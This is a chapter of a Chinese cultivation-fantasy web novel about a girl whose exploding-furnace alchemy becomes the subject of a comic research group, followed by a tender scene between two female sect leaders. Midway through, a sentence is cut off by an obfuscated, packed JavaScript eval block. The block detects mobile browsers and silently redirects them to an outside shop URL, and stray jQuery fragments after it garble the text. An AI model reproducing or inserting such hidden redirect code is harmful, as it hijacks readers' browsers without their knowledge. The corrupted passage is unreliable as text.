第二天一大早,林小满就被一阵敲门声吵醒了。
她迷迷糊糊地坐起来,揉了揉眼睛,头发炸得像个鸟窝。
"谁呀……"
"小师妹!是我!"
门外传来钱多多的声音,听起来还挺兴奋。
林小满打了个哈欠,爬过去开了门。
门口站着钱多多,背着个大包袱,满头大汗的,脸上的肉都跟着喘得一颤一颤的。
"你怎么来了?"
林小满靠在门框上,一脸没睡醒的样子。
"我爷爷让我来接你!"钱多多笑得一脸灿烂,"他说让你今天再去玄丹峰,他有话跟你说。"
林小满眨了眨眼。
"这么早啊……我还没吃饭呢。"
"没事没事,我带了!"
钱多多说着,从包袱里掏出一个食盒,打开一看,里面是热气腾腾的包子、豆浆、还有几样小菜。
"我从膳房拿的,还热着呢!"
林小满的眼睛一下子就亮了。
"哇,钱胖子你可以啊,越来越上道了。"
钱多多挠了挠头,嘿嘿一笑。
"那是,也不看我是谁。"
他嘴上说得得意,心里却在滴血。
这一顿早饭花了他三块下品灵石呢!
要不是爷爷说让他好好伺候这小祖宗,他才舍不得花这么多钱。
林小满可不管他心里想什么,接过食盒就往洞里走。
"进来吧,我吃完咱们再走。"
钱多多跟着她进了洞,四下打量了一下。
归一峰的洞府,跟他想象的不太一样。
他以为剑锋的洞府应该是那种冷冰冰的,到处都是剑啊杀气什么的,结果没想到……这么温馨。
石桌上铺着碎花布,墙角摆着几盆不知道叫什么的小花,旁边还有个小小的秋千,一看就是给林小满做的。
厨房里传来叮叮当当的声音,应该是谢昀在做早饭。
钱多多正看着,就见一个穿着月白色衣衫的青年从厨房走出来,手里端着一碗粥,温润如玉。
是谢昀。
钱多多赶紧站起来,恭恭敬敬地行了一礼。
"谢昀师兄。"
谢昀点了点头,微微一笑。
"钱师侄来了,坐吧,一起吃点?"
"不了不了,我吃过了。"钱多多连忙摆手。
开玩笑,归一峰大师兄做的饭,他哪敢随便吃啊。
再说了,他已经买了早饭了。
谢昀也不勉强,把粥放在林小满满前,又揉了揉她的头发。
"慢点吃,别噎着。"
"知道了大师兄。"
林小满一边啃包子一边含糊不清地说。
钱多多在一旁看着,心里有点羡慕。
他从小就没爹没娘,是爷爷把他拉扯大的。爷爷虽然疼他,但脾气暴躁,动不动就骂他,从没这么温柔过。
谢昀这么温柔的师兄,真好啊。
林小满吃完早饭,抹了抹嘴,站起来。
"走吧,去玄丹峰。"
她背上小包袱,揣上一碗,跟谢昀打了个招呼,就跟着钱多多出门了。
谢昀站在洞口,看着两人的背影,无奈地笑了笑。
这丫头,又跑去炸炉了。
到了玄丹峰,火云子已经在丹房里等着了。
他今天穿得特别整齐,胡子也梳得一丝不苟,跟昨天那个灰头土脸的样子判若两人。
林小满一进门,他就迎了上来。
"小满来了!快坐快坐!"
那热情劲儿,比见了亲孙女还亲。
林小满坐下,好奇地看着他。
"火云爷爷,你找我啥事呀?"
火云子清了清嗓子,一脸严肃。
"是这样的,我经过一夜的深思熟虑,觉得你的炸炉炼丹法,很有研究价值。"
他顿了顿,继续说:
"所以我想跟你合作,咱们一起研究研究,看看能不能把这个炸炉炼丹法系统化、理论化,让更多人受益。"
林小满眨了眨眼。
"系统化?理论化?那是什么?能吃吗?"
火云子:"……"
他就知道跟这丫头说这些没用。
他换了个说法。
"就是说,咱们一起炸炉子,炸出更多更好的药渣。"
林小满的眼睛一下子就亮了。
"好啊好啊!"
炸炉子她最在行了!
火云子满意地点了点头。
"那咱们今天就开始实验。"
他说着,指了指旁边桌子上摆得整整齐齐的药材。
"今天咱们分批次炸,看看不同的药材、不同的火候、不同的添加物,炸出来的药渣有什么不一样。"
林小满听得一脸懵。
这么复杂的吗?
她之前炸炉,都是随便扔扔就完了。
不过……随便吧,反正炸就行。
"行吧,怎么炸?"
火云子见她答应了,顿时精神了。
"来,第一炉,咱们按正常丹方来,炼聚气丹,看看跟正常炸有什么区别。"
他说着,把一份份称好的药材推到林小满满前。
"按这个来,一样一样放。"
林小满点了点头,拿起药材,一样一样往丹炉里扔。
扔完,盖上盖子,输入灵力。
"轰隆——"
又是一声巨响。
烟雾弥漫。
等烟散了,火云子赶紧凑过去看。
药渣是绿色的,下品级别。
跟正常炸炉失败的药渣没什么区别。
火云子皱了皱眉。
"不对啊……怎么这次品级这么低?"
昨天那几炉,随便扔扔都有上品、极品的。
怎么按丹方正正经经炼,反而不行了?
他摸了摸胡子,一脸困惑。
林小满在一旁啃着灵果,含糊不清地说:
"可能是因为太规矩了吧。"
火云子一愣。
"太规矩了?什么意思?"
"不知道呀。"林小满摇了摇头,"就是感觉,按部就班地放,炸出来的就没那么好。随便扔扔,反而容易出好东西。"
火云子盯着她看了半天。
随便扔扔?
这叫什么道理?
炼丹不就是要讲究精准吗?药材比例、火候、时间,差一点都不行。
怎么到她这儿,反而越随便越好了?
"再试一炉!"火云子咬了咬牙,"这次你随便放,想放什么放什么。"
林小满眼睛一亮。
"真的?那我可随便放了啊。"
"随便放!"
林小满也不客气,抓起桌上的药材就往丹炉里扔。
这个抓一把,那个扔两块,还有的只放了一点点。
乱七八糟,什么都有。
放完了,她想了想,又从怀里摸出两张符纸,撕吧撕吧扔进去了。
然后又摸出一小块阵盘碎片,也扔进去了。
火云子嘴角抽了抽。
符纸就算了,阵盘碎片是什么鬼?
炼丹还能加阵盘碎片的?
他想阻止,但话到嘴边又咽回去了。
算了,反正都已经这样了,看看能炸出什么来吧。
林小满盖上炉盖,输入灵力。
"轰隆——!"
这一炉炸得格外响,连丹房的门都震得哐哐响。
浓烟滚滚,比之前任何一次都浓。
火云子和孙明、钱多多三个人,蹲在墙角,一人捂着一个湿毛巾,一脸生无可恋。
这已经是今天第几炉了?
第八炉还是第九炉来着?
他们都记不清了。
反正从早上到现在,这丹房就没消停过。
等烟散得差不多了,火云子第一个冲上去。
他扒着丹炉往里一看,眼睛一下子就直了。
丹炉底部,躺着一小堆药渣。
紫色的,泛着淡淡的光晕,药力比昨天那堆紫色的还要醇厚。
而且……里面似乎还夹杂着一点点金色的碎屑。
火云子颤巍巍地捻起一点药渣,放在鼻尖闻了闻。
上品巅峰,差一步就能到极品了。
而且这里面,居然还有极品的成分!
他猛地转过头,看向林小满。
"你刚才……都放了什么?"
林小满掰着手指头数。
"嗯……聚气草、灵花蜜、火龙果汁、还有那个黑乎乎的果子……哦对了,还有两张符纸,一小块阵盘碎片。"
火云子:"……"
符纸和阵盘碎片……
难道关键在这里?
他眼睛一亮。
"再试!这次多加几张符纸,多加几块阵盘碎片!"
林小满耸了耸肩。
"行吧。"
于是接下来的半天,丹房里就没停过。
轰隆——轰隆——轰隆——
一声接一声的巨响,震得玄丹峰的弟子们头皮发麻。
从最开始的震惊,到后来的麻木,再到现在的……有点习惯了?
甚至有弟子开始打赌,赌今天能炸多少炉。
"我赌二十炉!"
"我赌二十五!"
"你们太保守了,我赌三十炉!"
弟子们赌得热火朝天,火云子在丹房里却越来越困惑。
不对啊。
怎么回事?
刚才那一炉加了符纸和阵盘碎片,炸出了上品巅峰。
他以为找到规律了,结果接下来的几炉,有的炸出下品,有的炸出中品,还有一炉直接炸成了飞灰,什么都没剩下。
一点规律都没有。
完全随机。
火云子蹲在地上,薅着自己的胡子,眉头皱得能夹死一只苍蝇。
"不对啊……怎么会没规律呢?不可能啊……"
他薅啊薅,薅啊薅。
"哎呀!"
一声痛呼。
他薅下来一撮胡子。
钱多多在一旁看着,嘴角直抽。
爷爷这是疯魔了啊。
孙明也皱着眉,手里的小本子写了满满一本子,各种数据、各种推测,密密麻麻的。
他想了想,开口道:
"师傅,会不会……是因为混沌灵根?"
火云子抬头看他。
"什么意思?"
"混沌灵根,本身就是无序的、混乱的,没有属性,也没有规律。"孙明推了推眼镜(他不知从哪儿摸出来的),一脸认真,"所以小师妹炸炉炸出来的药渣,品级也是随机的,没有规律可循。"
"这叫……混沌无序论。"
火云子盯着他看了半天。
混沌无序论?
听起来……好像有点道理?
可是……
"那为什么有的时候能炸出极品,有的时候只能炸出下品?总不能全靠运气吧?"
孙明想了想。
"可能……跟小师妹的心情有关?或者跟她当时的状态有关?又或者……跟她放进去的东西有关,但不是线性关系,是某种我们还没发现的复杂关联?"
火云子:"……"
说了等于没说。
他抬起手,照着孙明的脑袋就来了一下。
"就你能说!什么混沌无序论,我看你是书读多了读傻了!"
孙明摸了摸脑袋,嘿嘿一笑,也不反驳。
他知道,师傅这是觉得他说的有道理,但又拉不下脸承认。
火云子骂完了,又蹲回去,继续盯着那些药渣发呆。
混沌灵根啊……
真是个神奇的东西。
一直折腾到傍晚,实验也没什么进展。
火云子坐在石桌旁,看着面前摆得整整齐齐的十几个玉盒,里面装着今天炸出来的各种药渣。
绿色的,蓝色的,紫色的,金色的,什么颜色都有。
品级从下到上,参差不齐。
一点规律都摸不着。
他叹了口气,揉了揉眉心。
难搞啊。
林小满坐在他对面,啃着鸡腿,含糊不清地说:
"火云爷爷,你愁啥呀?能炸出来就行呗,管它有没有规律呢。"
火云子瞪了她一眼。
"你懂什么!没有规律,怎么推广?怎么让更多人学会?"
"为什么要让别人学会?"林小满一脸困惑,"自己炸自己的不就行了。"
火云子:"……"
好像……有点道理?
不对不对,被这丫头带偏了。
他可是一峰之主,他要为整个玄丹峰着想,为整个炼丹界着想!
怎么能这么自私呢!
火云子义正言辞地想说教两句,但一看到林小满那双亮晶晶的眼睛,又把话咽回去了。
算了,跟这丫头说这些,她也听不懂。
他想了想,忽然有了个主意。
"小满啊,咱们商量个事呗。"
"什么事?"
"我想成立一个研究小组,专门研究炸炉炼丹法。"火云子一脸认真,"你当组长,怎么样?"
林小满满嘴都是鸡肉,愣了一下。
"组长?那是什么?能吃吗?"
"不能吃,但很厉害。"火云子忽悠她,"组长就是老大,所有人都得听你的,你想炸什么就炸什么,药材丹炉管够。"
林小满的眼睛一下子就亮了。
"真的?我说了算?"<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791781|210402||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
"当然!"火云子拍着胸脯保证,"你是组长,你说了算!"
"那行吧。"林小满欣然同意,"那我当组长。"
火云子满意地点了点头。
很好,组长搞定了。
接下来就是副组长了。
他看向孙明。
"孙明,你当副组长。"
孙明:"……"
他就知道。
组长是甩手掌柜,副组长就是干活的。
所有的脏活累活,都得他来干。
他张了张嘴,想拒绝。
但一接触到火云子的眼神,又把话咽回去了。
"……是,师傅。"
火云子满意地点了点头。
"行,那就这么定了。炸炉炼丹研究小组,今天正式成立!"
他顿了顿,又补充了一句。
"组长林小满,副组长孙明,组员……钱多多!"
钱多多正在一旁啃猪蹄,听到自己的名字,一下子就呛住了。
"咳咳咳——啥?我?"
"对,就是你。"火云子一脸嫌弃,"你不是最爱吃炸炉丹吗?以后你就负责试药,还有……给你林师妹打打下手。"
钱多多:"……"
合着我就是个试药的+跑腿的是吧?
他想抗议,但一想到以后能天天吃炸炉丹,又觉得……好像也不是不能接受?
"……行吧。"
他垮着一张脸,不情不愿地答应了。
林小满坐在一旁,听得一脸兴奋。
"那咱们研究小组,明天就开始炸吗?"
"当然!"火云子大手一挥,"明天继续!"
林小满欢呼一声。
"耶!太好了!"
她最喜欢炸炉子了!
火云子看着她开心的样子,嘴角也忍不住扬了起来。
虽然还没研究出什么名堂,但是……
慢慢来嘛。
反正这丫头还小,有的是时间研究。
说不定哪天,他们真能研究出什么惊世骇俗的东西来。
夕阳西下,林小满揣着满满一兜子药材和丹药,蹦蹦跳跳地回归一峰了。
钱多多跟在她后面,背着个更大的包袱,里面全是给她带的各种药材和零食。
走到山脚下,林小满忽然停下脚步,摸了摸怀里的玉佩。
那块缺了角的青玉,被她揣得暖暖的。
她想起爷爷了。
也不知道爷爷现在在哪里,过得好不好。
等她筑基了,就去找爷爷。
林小满攥了攥玉佩,在心里默默地想。
钱多多凑过来,好奇地问:
"你摸什么呢?"
"要你管。"林小满瞪了他一眼,把玉佩塞回怀里,"走了走了,我要回去了。"
她说着,挥了挥手,蹦蹦跳跳地往归一峰的方向走了。
钱多多站在原地,看着她的背影,撇了撇嘴。
"神神秘秘的……"
他嘟囔了一句,也转身往玄丹峰走了。
夕阳把两人的影子拉得很长很长。
当天晚上,玄丹峰炸炉炼丹研究小组成立的消息,就传遍了整个万道宗。
各峰的反应不一。
墨符峰,墨千尘正在画画,听到消息,画笔顿了顿,然后继续画。
"炸炉炼丹?有点意思。"
天机峰,陆机正在雕刻,听到消息,手没停,只是嘴角微微扬了扬。
"混沌灵根……果然不一般。"
青囊峰,闻秋棠正在配药,听到消息,笑了笑。
"这小丫头,还挺能折腾。"
她想了想,起身往外走。
"我去归一峰一趟。"
弟子阿竹愣了一下。
"师傅,这么晚了还去?"
"嗯。"闻秋棠笑了笑,"给苏清雪送点安神的药。"
阿竹:"……"
师傅,你说实话,你是去送药的,还是去看人的?
归一峰。
苏清雪正在山顶喝酒,就看到远处一道身影御剑而来。
白衣飘飘,身姿绰约。
是闻秋棠。
苏清雪的耳朵一下子就红了。
她赶紧拿起酒葫芦,灌了一大口,装作刚看到她的样子。
"你怎么来了?"
闻秋棠落在她身边,笑了笑。
"听说小满今天在玄丹峰炸了一天的炉子,过来看看。"
她说着,目光落在苏清雪脸上。
月光下,苏清雪的脸红红的,不知道是喝酒喝的,还是别的什么原因。
很好看。
闻秋棠的嘴角扬了扬。
"你怎么看?炸炉炼丹法。"
苏清雪嗤了一声。
"瞎胡闹。"
嘴上这么说,眼神却很诚实。
她今天听徐啸说了,那丫头在玄丹峰炸了一天,炸出了不少好东西,连火云子那老东西都宝贝得不行。
闻秋棠笑了。
"你呀,嘴硬心软。"
她顿了顿,又说:
"玄天秘境还有三个月就开了,让她多学点东西总是好的。"
"嗯。"苏清雪点了点头,又灌了一口酒。
两人并肩站在崖边,看着远方的云海。
月光洒在她们身上,银辉遍地。
夜风吹过,带着淡淡的药香和酒香。
安静,又美好。
也不知过了多久,闻秋棠才开口。
"我该回去了。"
"嗯。"
苏清雪应了一声,却没动。
闻秋棠看着她,眼底的笑意藏都藏不住。
"怎么?舍不得我走?"
苏清雪的脸一下子更红了。
"谁、谁舍不得了!"
她别过脸,嘴硬得很。
"我就是……顺便吹吹风。"
闻秋棠笑得更开心了。
"好,顺便吹吹风。"
她也不拆穿,就那么笑着看着苏清雪。
苏清雪被她看得浑身不自在,催促道:
"你快走!"
"好好好,我走。"
闻秋棠摆了摆手,转身御剑飞走了。
走了几步,她又回过头。
"苏清雪。"
"嗯?"
"明天我还来。"
说完,她就笑着飞走了,留下苏清雪一个人站在崖边,耳根子红透了。
山风拂过,吹起她的发丝。
苏清雪摸了摸自己发烫的脸,小声嘟囔了一句。
"……来就来呗,跟我说干什么。"
话虽这么说,嘴角却忍不住扬了起来。
月光下,她的笑容,温柔得不像话。